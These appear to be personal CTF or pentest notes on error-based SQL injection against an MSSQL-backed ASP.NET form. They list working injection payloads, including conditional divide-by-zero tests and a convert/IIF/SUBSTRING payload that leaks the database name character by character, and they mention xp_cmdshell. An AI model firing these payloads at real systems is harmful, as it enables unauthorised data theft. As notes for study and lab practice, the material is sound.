ERROR BASED
MSSQL
There is a form.
SQL Injection.
' - Error
'' - Error disappearshttps://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
https://portswigger.net/web-security/sql-injection/cheat-sheet
It should be MSSQL. Because of ASP.NET web service. Try that.
Specify String Concatenation
'+(SELECT '')+'You can also exploit this behavior to test conditions.
'+(SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END)+'We can see error page. So we can try using transformation errors than time based errors.
'+convert(id,db_name())+' ERROR
'+convert(char,db_name())+' OK
'+convert(char,(SELECT IIF(SUBSTRING(DB_NAME(),1,1)='A',3,@@VERSION)))+'This query was working as this:
Sub-stringing the database name starting from 1st character within 1 length and comparing within ‘A’ character whether it equals or not.
If that character equals to ‘A’, then it returns 3 as integer.
Converting ‘3’ as integer to char is successful and returns without any errors, meaning that the query is true.
If the character does not equal to ‘A’, then it returns @@VERSION as T-SQL functionality.
Converting @@VERSION result to char is not successful and returns error (Error.aspx page), meaning that the query is false!
https://www.exploit-db.com/papers/12975
:( - If it is equal to 1, we can execute xp_cmdshell command. So we can not execute the command anyways.
https://infosecwriteups.com/exploiting-error-based-sql-injections-bypassing-restrictions-ed099623cd94
The above query will retrieve the top table_name from the database.
Conversion failed when converting the nvarchar value 'users' to data type int.
Got a good table if not,
Different Approach
https://github.com/shauntdergrigorian/CTF-Notes
Last updated